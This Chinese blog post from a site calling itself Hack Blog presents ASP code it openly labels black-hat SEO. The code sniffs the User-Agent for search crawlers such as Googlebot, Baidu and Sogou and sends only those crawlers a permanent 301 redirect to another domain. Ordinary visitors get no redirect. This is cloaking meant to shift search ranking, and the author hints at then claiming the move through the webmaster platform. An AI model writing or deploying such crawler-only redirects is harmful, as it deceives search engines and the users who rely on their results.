全站301,实现权重转移

今天看到百度的工程师说如果要换域名需要全站所有页面都要301到新域名相对应的页面。


那么我就先把asp的抓紧写出来了。不就是获取url的 SCRIPT_NAME 和 QUERY_STRING 然后加上新域名跳转。


黑帽SEO。。。


asp代码

<%
Function GetLocationURL() 
Dim Url 
Dim ScriptName,QueryString 
ScriptName = Request.ServerVariables("SCRIPT_NAME") 
QueryString = Request.ServerVariables("QUERY_STRING") 
GetLocationURL = ScriptName&"?"&QueryString  
End Function 

If isspider() then
	Response.Status="301 Moved Permanently"
	Response.AddHeader "Location","http://www.hackblog.cn"& GetLocationURL() '在这里修改要跳转到的网页
	Response.End
End if

function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","spider","sogou","yahoo","soso","baidu","360")
isspider = false
for i=0 to ubound(searray)
 if (instr(agent,searray(i))>0) then isspider=true
next
end function

%>


恩,接下来,你懂得,站长平台。。。有时间把其他语言的代码补上。


本文由Hack Blog原创,如需转载注明原文链接

作者:test 分类:日常笔记 浏览:1222 评论:0
留言列表
发表评论
来宾的头像